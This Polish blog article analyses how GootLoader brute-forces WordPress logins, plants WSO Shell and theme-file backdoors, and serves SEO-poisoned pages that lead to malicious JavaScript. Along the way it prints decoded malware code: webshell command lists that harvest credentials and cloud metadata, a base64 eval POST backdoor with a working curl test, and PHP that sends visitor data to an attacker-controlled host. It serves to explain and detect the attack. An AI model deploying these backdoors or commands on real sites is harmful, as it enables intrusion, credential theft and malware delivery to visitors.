Jak GootLoader zamienia WordPress w zombie SEO
Napisał: Patryk Krawaczyński
07/07/2022 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy. (artykuł nr 824, ilość słów: 3791)
G
ootloader, czyli usługa wstępnego dostępu do (firmowych) sieci dla cyberprzestępców ostatnio rozszerzyła swój zakres działalności o różne cele na całym świecie. Przypomnijmy: w 2014 roku po raz pierwszy został zauważony trojan bankowy o nazwie Gootkit. Od tego czasu ewoluował, aby stać się bardziej złodziejem poufnych informacji obsługiwanym przez grupę aktorów. Nazwa ‘Gootkit’ jest często używana zamiennie – zarówno w odniesieniu do złośliwego oprogramowania, jak i do samej grupy. W marcu 2021 roku firma Sophos jako pierwsza zidentyfikowała szersze możliwości tego oprogramowania i nazwała go GootLoader. Ten oparty o Javascript framework pierwotnie przeznaczony do infekcji Gootkitem w coraz większym stopniu zaczął dostarczać szerszą gamę złośliwego oprogramowania (w tym ransomware). Wczesna aktywność kampanii platformy Gootloader została po raz pierwszy zauważona przez analityka zagrożeń z firmy Proofpoint pod koniec 2020 roku, a następnie zbadana i opisana przez ASEC, Malwarebytes i TrendMicro.
Kanał dystrybucji:
Jak każde szkodliwe oprogramowanie GootLoader również musi mieć swój kanał dystrybucji. Jednym z nich jest wykorzystanie ataku polegającego na zatruwaniu SEO (ang. SEO poisoning) w celu zwabienia swoich ofiar. Dlaczego akurat ten kanał? Otóż zatruwanie wyników wyszukiwania jest zjawiskiem, z którym często nie mogą sobie poradzić nawet same popularne wyszukiwarki. Kanał ten umożliwia też bardzo łatwe zdefiniowane grupy docelowej ataku. Na przykład: chcąc zwabić do siebie prawników z kancelarii w USA wystarczy w ataku przejąć różne strony porzucając na nich treści związane z umowami biznesowymi, klauzulami poufności, intercyzy itd. Złośliwy plik Javascript zapakować i przebrać za przykład takiego dokumentu; czekać aż ofiara go pobierze i uruchomi na komputerze. Skąd ofiara znajdzie się na tak przejętej stronie? Otóż linki do tych spreparowanych stron są wysyłane tylko do robotów wyszukiwarek. Te reagują na zgłoszenia, wracają na stronę i indeksują nowe, wyprofilowane treści. Przejmując daną domenę i zatruwając jej treści dla wyszukiwarki przejmujemy również jej dotychczasową reputację. Jest to szczególnie opłacalne, jeśli domena już jakiś czas “wisi” w internecie i ma dość wysoki ranking w wynikach wyszukiwania. W dodatku, jeśli zwykły użytkownik wchodzi bezpośrednio na przejętą stronę to nie jest mu serwowana żadna szkodliwa treść. Ta jest widoczna dopiero, gdy użytkownik zostanie przekierowany na nią z poziomu zatrutych wyników wyszukiwarki, które zareagowały na wpisanie danej frazy wyszukiwania np. “przykład umowy porozumienia stron”. Po pierwsze mechanizm ten dobrze ukrywa fakt przejęcia strony, ponieważ jest tylko widoczny z poziomu wyników wyszukiwarki – po drugie daje większe szanse na pobranie szkodliwego pliku – przecież użytkownik szukał właśnie takich treści i zostały one mu podane “na tacy”.
Atak na WordPress:
W dzisiejszym świecie tworzenia stron internetowych system WordPress jest jednym z najpopularniejszych systemów CMS. Obecnie ponad 75 milionów stron internetowych korzysta z tego narzędzia do prowadzenia swoich witryn. Jak możemy się domyślać nie wszystkie z nich utrzymywane są na bieżąco, już o hartowaniu mechanizmów bezpieczeństwa nie mówiąc. Dlatego wraz z jego popularnością rośnie również ilość złośliwego oprogramowania, które bierze go za swój cel. Spójrzmy, w jaki sposób robi to Gootloader używając innych narzędzi. Na początku z wielu różnych adresów IP należących do znanych dostawców VPS następuje skanowanie w poszukiwaniu obecności podatnych wtyczek:
XX.XXX.XX.XX - - [20/Jun/2022:06:31:27 +0200] "GET /wp-content/plugins/ninja-forms/assets/js/admin-settings.js HTTP/1.1" 404 371374 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" XXX.XXX.XXX.XXX - - [20/Jun/2022:06:31:27 +0200] "GET /wp-content/plugins/events-manager/includes/js/admin-settings.js" 404 371374 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
Skanowanie nie jest agresywne – zaledwie od 1’go do 2’óch żądań HTTP na sekundę. Charakterystyczną cechą jaką można zauważyć, że następuje z wielu adresów IP posługujących się tym samym wpisem dla aplikacji klienckiej (ang. user-agent) i działających w tym samym kontekście szukania wielu podatnych wtyczek. Może to świadczyć o używaniu tego samego narzędzia w rozproszony sposób. Raz na jakiś czas z tych samych adresów IP następuje weryfikacja, czy infekcja się powiodła i jest już osiągalny charakterystyczny dla niej plik: style2.php (szczegóły o nim później):
XX.XX.XXX.XXX - - [20/Jun/2022:08:29:09 +0200] "GET /style2.php?action=function HTTP/1.1" 404 371504 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
Po wielu kodach 404 dla tego URL następuje zmiana strategii ataku. Za pomocą dwóch metod pobrana zostaje lista użytkowników WordPress:
XX.XXX.XX.XX - - [20/Jun/2022:10:59:55 +0200] "GET /?author=1 HTTP/1.1" 200 376503 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" XX.XXX.XX.XX - - [20/Jun/2022:10:59:55 +0200] "GET /wp-json/wp/v2/users/ HTTP/1.1" 200 2317 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" XX.XXX.XX.XX - - [20/Jun/2022:10:59:56 +0200] "GET /?author=2 HTTP/1.1" 200 376503 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
Po tym fakcie następuje seria żądań POST (również z różnych adresów IP), które mają za zadanie odgadnięcie haseł pobranych nazw kont:
XX.X.XXX.XX - - [20/Jun/2022:12:16:59 +0200] "POST /wp-login.php HTTP/1.1" 200 4325 "wordpress_test_cookie=WP+Cookie+check" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
Są to żądania wyłącznie skierowane na endpoint logowania wp-login.php – bez ładowania dodatkowych komponentów typu .css, .js, .png itp.
Proces infekcji webshellami:
W obserwowanym ataku dochodzi do odgadnięcia hasła jednego z kont. Po tym fakcie następuje zalogowanie się na skompromitowane konto, wgranie i aktywacja szkodliwej wtyczki:
XX.X.XXX.XX - - [20/Jun/2022:21:37:22 +0200] "POST /wp-login.php HTTP/1.1" 302 1761 "https://ofiara.edu/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.88 Safari/537.36" XX.X.XXX.XX - - [20/Jun/2022:21:37:42 +0200] "GET /wp-admin/plugins.php?action=activate&plugin=mcytrmpfxf%2Fmcytrmpfxf.php&_wpnonce=709f HTTP/1.1" 302 642 ""https://ofiara.edu/wp-admin/update.php?action=upload-plugin" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.88 Safari/537.36" XX.X.XXX.XX - - [20/Jun/2022:21:37:57 +0200] "GET /?mcytrmpfxf=mcytrmpfxf HTTP/1.1" 200 10 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.88 Safari/537.36"
Jeśli nagłówek user-agent nie został sfałszowany – może wskazywać, że do procesu infekcji zostało użyte inne narzędzie oparte o “bezgłową” przeglądarkę, której akcje można łatwo automatyzować. Drugim indykatorem tej tezy może być adres IP, który został użyty do tej fazy ataku i nie był wcześniej widziany w dotychczasowym procesie. Szkodliwa wtyczka dokonuje ściągnięcia i umieszczenia w głównym katalogu zmodyfikowanej (@define('WSO_VERSION', '5.5');
) i zaciemnionej wersji WSO Shell. Program ten posiada bardzo dużo przydatnych funkcji, które można uruchomić z poziomu interpretera PHP: dostęp na hasło, menedżer plików, konsolę, phpinfo itd. plus możliwość skorzystania z zewnętrznych narzędzi i serwisów (nawet z personalnym API KEY):
hxxps://bit.ly/geo133t - hxxps://geo.ipify.org/api/v2/country?apiKey=XXX hxxps://bit.ly/port2service - hxxps://gist.githubusercontent.com/aels/c6565b7b7186f7d5391013398e7baa50/ raw/2460e061dd96bb4b67afd262623c42284fd9549b/port2service.csv hxxps://bit.ly/autoexp2 - hxxps://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/ master/linux-exploit-suggester-2.pl hxxps://bit.ly/wsoExGently2 - hxxps://gist.githubusercontent.com/aels/6655104db9e08bca1e09fe554d8b992b/ raw/59884d10cf7bc86d6ead9c20da4ce17a2dbc7348/wsoExGently.php hxxps://bit.ly/top1kpass - hxxps://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/ Common-Credentials/10-million-password-list-top-1000.txt hxxps://hashcracking.ru/index.php hxxp://md5.rednoize.com/?q= hxxp://crackfor.me/index.php hxxps://addon.dnslytics.net/ipv4info/v1/XXX.XXX.XXX hxxps://publicwww.com/websites/ip%3AXXX.XXX.XXX.XXX hxxps://www.virustotal.com/vtapi/v2/url/report?resource=XXX.XXX.XXX.XXX&apikey=XXX hxxp://demo.ip-api.com/json/XXX.XXX.XXX.XXX?fields=66842623&lang=en hxxps://securitytrails.com/list/ip/XXX.XXX.XXX.XXX hxxps://www.virustotal.com/gui/ip-address/XXX.XXX.XXX.XXX
Gdzie XXX.XXX.XXX.XXX to adres IP serwera uzyskany na podstawie żądania do serwisu MyIP:
$_SERVER["SERVER_ADDR"] = wsoGetFile('hxxps://api.my-ip.io/ip')
Dostępnych jest również dużo wbudowanych poleceń w zależności od systemu na jakim został uruchomiony webshell:
if ($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all"); else $aliases = array( "Fetch AWS metadata" => "curl -Ss http://169.254.169.254/latest/meta-data/identity-credentials/", "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv");
WSO Shell posiada również możliwość edycji plików i to przez tę funkcję kolejnego dnia zostaje wrzucony i doklejony inny szkodliwy kod w głównym katalogu WordPress:
XX.XXX.XXX.XXX - - [21/Jun/2022:10:25:55 +0200] "POST /mcytrmpfxf.php HTTP/1.1" 200 10272 "http://ofiara.edu/mcytrmpfxf.php b8309bde7516e3f55e62a9b2dfd43d67=9f84072daaa53d9a2b7893c9b9103045; act=index.php; f=N%3B; c=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" XX.XXX.XXX.XXX - - [21/Jun/2022:10:30:25 +0200] "POST /mcytrmpfxf.php HTTP/1.1" 200 20161 "http://ofiara.edu/mcytrmpfxf.php b8309bde7516e3f55e62a9b2dfd43d67=9f84072daaa53d9a2b7893c9b9103045; act=style2.php; f=N%3B; c=%2F "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" XX.XXX.XXX.XXX - - [21/Jun/2022:10:33:43 +0200] "POST /mcytrmpfxf.php HTTP/1.1" 200 18966 "http://ofiara.edu/mcytrmpfxf.php b8309bde7516e3f55e62a9b2dfd43d67=9f84072daaa53d9a2b7893c9b9103045; act=wp-signuo.php; f=N%3B; c=%2F "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
Posiadając kod pliku style2.php możemy rozwiązać zagadkę – dlaczego był on wywoływany na samym początku – zanim jeszcze nastąpiła kompromitacja silnika WordPress – ponieważ jego zadaniem jest przede wszystkim “zablokowanie” już zainfekowanych plików, co uniemożliwia właścicielowi witryny całkowite wyczyszczenie z zakażenia i pozwala na ponowną infekcję:
Kiedy nadpisuję ten index.php moim starym (…) wszystko działa, ale znowu się powtarza i już 3 razy musiałem to tak przepisać.
Poza tym potrafi również wyświetlić ścieżkę do interpretera PHP; jego aktualną wersję; konfigurację (phpinfo) pod kątem wartości disable_functions, aby zwrócić atakującemu informacje o tym, które funkcje są dostępne i które mogą (lub nie) zostać użyte na jego korzyść.
Zatruwanie SEO:
Spróbujmy się teraz dowiedzieć, co robi reszta dorzuconego kodu PHP. Nawet w wersji zaciemnionej darmowy silnik antywirusowy ClamAV (z dodatkowymi sygnaturami) wykrywa kod doklejony do pliku index.php jako php.generic.malware.442 oraz sigs.InterServer.net.HEX.Topline.inserted.seo.spam.encoded.157. Możemy sami przeprowadzić proces deobfuskacji tego kodu poprzez zapisanie go do osobnego pliku .php i dodanie na końcu linii instrukcji:
print(base64_decode(strtr(substr($O0O000,52*2),substr($O0O000,52,52),substr($O0O000,0,52))))
Pozwoli nam to wyświetlić czysty kod źródłowy. Kod z całego pliku wp-signuo.php (po jego nazwie możemy wyszukać również inne infekcje w internecie) również jest wykrywany przez dwie sygnatury: SecuriteInfo.com.PHP.Agent-140 oraz sigs.InterServer.net.HEX.Topline.malware.sarah.sanders.oO.curlopt.477. Z kodu wynika, że rolą tych plików jest tworzenie, przesyłanie i obsługa żądań do map witryny (ang. sitemaps) z robota Google. Plik robots.txt jest nadpisywany z poziomu index.php treścią:
User-agent: * Allow: / Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_1.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_2.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_3.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_4.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_5.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_6.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_7.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_8.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_9.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_10.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_11.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_12.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_13.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_14.xml Sitemap:https://ofiara.edu/wp-signuo.php?sitemap_index_15.xml
Do Googlebot wysyłane są też dynamiczne żądania z kolejnymi adresami sitemap, które obsługuje plik wp-signuo.php:
$jj='https://www.google.com/ping?sitemap='.$ii; $kk='http://www.google.com/ping?sitemap='.$ii;
XX.XXX.XX.XX - - [21/Jun/2022:10:42:08 +0200] "GET /wp-signuo.php?sitemap_index_1.xml HTTP/1.1" 200 4290 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" XX.XXX.XX.XX - - [21/Jun/2022:10:42:16 +0200] "GET /wp-signuo.php?sitemap_index_15.xml HTTP/1.1" 200 4381 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" XX.XXX.XX.XX - - [21/Jun/2022:10:42:39 +0200] "GET /wp-signuo.php?orthopterology27.xml HTTP/1.1" 200 133383 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Pozostaje jeszcze znaleźć mechanizm, który jest odpowiedzialny za wyświetlanie spreparowanych treści tylko użytkownikom, którzy zostali skierowani na stronę poprzez wynik wyszukiwania Google. Okazuje się, że jednym ze sprytniejszych sposobów jest doklejenie kodu PHP do ścieżki: /wp-content/themes/$nazwa/functions.php
<?php ^M$ /*^M$ * This theme styles the visual editor to resemble the theme style,^M$ * specifically font, colors, icons, and column width.^M$ */^M$ $wp_template_css = get_option('themes_css' );^M$ if ( isset( $wp_template_css['style'] ) )^M$ @$wp_template_css['style']( null, $wp_template_css['fonts']($wp_template_css['html']) );^M$ if (!defined('ABSPATH')) {$ exit; // exit if accessed directly$ }$
Kod ten ładuje zawartość opcji themes_css z tabeli wp_options
. Opcja themes_css
nie jest sposobem jakim zazwyczaj ładowany jest styl CSS w typowym motywie WordPress. W dodatku widzimy charakterystyczne znaki końca linii (^M$
), jakby ktoś z poziomu systemu Windows edytował plik zapisany wcześniej na Linuksie. Jeśli zajrzymy do bazy danych MySQL w poszukiwaniu tej opcji znajdziemy kolejny szkodliwy, zaciemniony kod:
(222502, 'themes_css', 'a:5:{s:3:\"css\";s:103:\"font-family: sans-serif; line-height: 1.15; -ms-text-size-adjust: 100%; -webkit-text-size-adjust: 100%;\";s:5:\"style\";s:15: \"create_function\";s:5:\"color\";s:16:\"b692c1d73df5d4b6\";s:5:\"fonts\";s:13:\ "base64_decode\";s:4:\"html\";s:6156:\"fTskcHBvc3RlPSR3cF90ZW1wb ... gKTsgfS8v\";}', 'yes'),
Jeśli skopiujemy część tekstu od fTskc do S8v\ i przepuścimy przez CyberChef (filtr: From Base64), a następnie Online PHP and Javascript Decoder otrzymamy czytelny kod (php.malware.magento.598, YARA.eval_post). Na samym początku mamy uproszczony, ale skuteczny skrypt powłoki poleceń:
$pposte=$wp_template_css['color']; if (isset($_POST[$pposte])) { @eval(base64_decode($_POST[$pposte])); exit; }
Ta prosta powłoka poleceń PHP prawdopodobnie ma służyć do zachowania dostępu do przejętej strony, jeśli zostaną stracone poprzednie mechanizmy (WSO Shell, Style2). Wystarczy wykonać żądanie HTTP(S) POST
z wartością z klucza color (zmienna $pposte
przechowuje nazwę parametru) i zakodowanym w BASE64
ciągiem poleceń, które następnie instalacja WordPress wykona w kontekście swojego procesu na serwerze:
rex@darkstar:~$ # ZWNobygiUHduZWQhIik7 = echo("Pwned!"); rex@darkstar:~$ curl -XPOST -d'b692c1d73df5d4b6=ZWNobygiUHduZWQhIik7' https://ofiara.net/ Pwned!
Trick z wyświetlaniem:
Poza tylnym wejściem ten złośliwy kod ma jeszcze inne przeznaczenie: przechwytywanie określonych żądań do witryny i przekierowywanie odwiedzających ją osób na spreparowane treści, które są przechowywane w osobnych tabelach bazy danych. Jeśli wykonamy zrzut bazy danych MySQL (np. mysqldump) po infekcji – to zobaczymy dwie dodatkowe tabele: backupdb_wp_posts oraz backupdb_wp_lstat. Pierwsza z nich przechowuje treści spamowych wpisów, a druga informacje o adresach IP logujących się i odwiedzających użytkowników:
CREATE TABLE `backupdb_wp_lstat` ( `wp` text ) ENGINE=InnoDB DEFAULT CHARSET=latin2; INSERT INTO `backupdb_wp_lstat` (`wp`) VALUES ('XX|XXX|XX'), ('XXX|XX|XX'); --- CREATE TABLE `backupdb_wp_posts` ( `ID` bigint(20) UNSIGNED NOT NULL, `post_author` bigint(20) UNSIGNED NOT NULL DEFAULT '0', `post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `post_title` text COLLATE utf8mb4_unicode_ci NOT NULL, `post_excerpt` text COLLATE utf8mb4_unicode_ci NOT NULL, `post_status` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'publish', `comment_status` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'open', `ping_status` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'open', `post_password` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', `post_name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', `to_ping` text COLLATE utf8mb4_unicode_ci NOT NULL, `pinged` text COLLATE utf8mb4_unicode_ci NOT NULL, `post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content_filtered` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `post_parent` bigint(20) UNSIGNED NOT NULL DEFAULT '0', `guid` varchar(255) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', `menu_order` int(11) NOT NULL DEFAULT '0', `post_type` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'post', `post_mime_type` varchar(100) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '', `comment_count` bigint(20) NOT NULL DEFAULT '0' ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; INSERT INTO `backupdb_wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES (14058, 1, '2022-01-21 16:43:49', '2022-01-21 17:43:49', 'j$k2106211j$k<p>Partners do not need to submit their partnership articles to a government ... partnership. . </p>', 'A General Partnership Must Always Have a Formal Written Partnership Agreement', '', 'publish', 'closed', 'open', '', 'a-general-partnership-must-always-have-a-formal-written-\ partnership-agreement', '', '', '2022-01-21 17:43:49', '2022-01-21 16:43:49', '', 0, 'https://ofiara.edu/2022/01/21/a-general-partnership-must-always-have-a-formal-written-\ partnership-agreement/', 0, 'post', '', 0),
Zapisywanie adresów IP logujących się użytkowników do tabeli backupdb_wp_lstat
ma na celu ukrycie złośliwego działania, aby zmniejszyć ryzyko wykrycia przez właściciela / administratora strony, ponieważ tylko “obcy” użytkownicy są atakowani. W rezultacie posty te też nie będą ładowane ani pokazywane w pulpicie administracyjnym systemu WordPress.
if ( is_user_logged_in() ) { global $wpdb, $table_prefix; if (! isset($qwc1)) { $qwc3 = ip2long($_SERVER["REMOTE_ADDR"]); if ($qwc3 == -1 || $qwc3 === FALSE) { } else { if ($wpdb->get_var("SHOW TABLES LIKE 'backupdb_".$table_prefix."lstat'") \ == "backupdb_".$table_prefix."lstat") { $qwc3 = $qwc3-2560; for ($i = 1; $i < 20; $i++) { $qwc2 = explode('.',long2ip($qwc3+($i*256))); $wpdb->insert( "backupdb_".$table_prefix."lstat", \ array( 'wp' => $qwc2[0].'|'.$qwc2[1].'|'.$qwc2[2])); } } } } }
Skrypt generuje listę adresów do blokady w locie – nawet gdy odwiedzający po raz pierwszy wchodzi na stronę internetową. A powtarzające się wizyty są blokowane całym zakresem adresów IP z tej samej sieci co adres IP użytkownika.
Aby faktycznie załadować treść skrypt dodaje filtry do uchwytów funkcji: the_content, wp_head oraz wp_footer, które przechwytują połączenie z bazą danych WordPress (function qvc5()
), gdy strona wciąż przetwarza swoją odpowiedź. Podczas tego połączenia z fałszywej tabeli pobierane są linki do spreparowanych postów, które dołączane są do legalnej treści przed wysłaniem jej z powrotem do przeglądarki odwiedzającego. Później połączenie z bazą danych przywracane jest do domyślnych tabel WordPress. Wstrzyknięte linki są niewidoczne dla odwiedzających użytkowników, ale wyszukiwarki indeksują je i zwracają w wynikach wyszukiwania. Jeśli spojrzymy teraz na wartość wpisu w tabeli backupdb_wp_posts to znajdziemy w niej ciąg znaków, który pasuje do filtra regex: /j\$k([0-9]{1,10})j\$k/
– j$k…j$k. Jest to znacznik, który służy jako miejsce, gdzie później zostanie wstawiony link do skryptu, który będzie renderował złośliwą stronę:
function qvc0($qvc1) { GLOBAL $qwc4; if( is_single() ) { $qvc0 = preg_replace('/j\$k([0-9]{1,10})j\$k/', \ "<script type='text/javascript' src='".site_url('/?').$qwc4."=\$1'></script>", $qvc1, 1); } else { $qvc0=$qvc1; } return $qvc0; } add_filter('the_content', 'qvc0');
Dopóki nie załaduje się nagłówek i stopka utrzymywana jest zawartość bufora wyjściowego. Znacznik ten jest później usuwany, ze źródła strony za pomocą funkcji:
function qvc3($qvc3) { $qvc3 = preg_replace("/j\$k([0-9]{1,10})j\$k/", '', $qvc3); return $qvc3.qwc0(); } function qwc7() { ob_start("qvc3"); } function qwc5() { ob_end_flush(); } add_action("wp_head", "qwc7"); add_action("wp_footer", "qwc5");
i wstawiany jest zatruwający SEO element div do najnowszych 20 postów ($qwc8 = wp_get_recent_posts(20);
). W rezultacie, złośliwy kod pojawia się na stronach zatrutych SEO, a najnowsze posty zawierają ukryty element. Razem te dwa zabiegi podnoszą ranking strony w wynikach wyszukiwania. W serwowaniu treści bierze udział jeszcze jeden mechanizm. Jest to zewnętrzny adres kontrolowany przez atakujących:
(! isset($qwc1)) { $qwc4 = 'a'.substr(md5($pposte),0,6); if (isset($_GET[$qwc4])) { $request = @wp_remote_retrieve_body(@wp_remote_get( "http://my-game[.]biz/index.php? \ a=".base64_encode($_GET[$qwc4]). '&b='.base64_encode($_SERVER["REMOTE_ADDR"]). '&c='.base64_encode($_SERVER["HTTP_USER_AGENT"]). '&d='.base64_encode(wp_get_referer()), array( "timeout" => 120 ) ));
Są do niego zgłaszane następujące dane w postaci zakodowanej BASE64
: unikalny identyfikator serwera, adres IP, aplikacja kliencka oraz adres odsyłający (ang. referrer). Dane te podlegają filtracji, aby serwować złośliwy kod tylko tym odwiedzającym, którzy: a) kliknęli w link z wyniku wyszukiwania Google (ciąg referrer będzie zawierał oryginalne hasła wyszukiwania); b) geograficznie znajdują się w regionie świata pozostającym w kręgu zainteresowania malware (adres IP komputera ofiary musi geolokalizować na USA, Kanadę, Niemcy, Francję lub Koreę Południową); c) tekst zawarty w user-agent wskazuje na używanie systemu Windows.
Proces infekcji Javascript:
Kiedy nie zarejestrowany wcześniej odwiedzający kliknie w link z wyników wyszukiwania i spełnia wszystkie wyżej wymienione kryteria zostaje przekierowany na inną, bardzo specyficzną stronę. Przypomina ona forum ogłoszeniowe, które zawiera odpowiedź w postaci aktywnego linku na zadane pytanie z wyszukiwarki. Jeśli ofiara kliknie “bezpośredni link do pobrania” podany na tej stronie, otrzyma plik archiwum .zip o nazwie dokładnie odpowiadającej hasłu użytemu w początkowym wyszukiwaniu. Archiwum posiada w sobie plik .js o tej samej nazwie, co archiwum. Jest to początkowy mechanizm infekcji (#stage 1), ale jedyny, który jest zapisywany na dysku. Wszystko, co dzieje się po dwukrotnym kliknięciu tego pliku Javascript przebiega całkowicie w pamięci, poza zasięgiem tradycyjnych narzędzi ochrony stacji końcowych…
Więcej informacji: Reverse Engineering some WordPress Malware, Gootloaders mothership controls malicious content, Gootloader malware attacks – a growing problem for WordPress users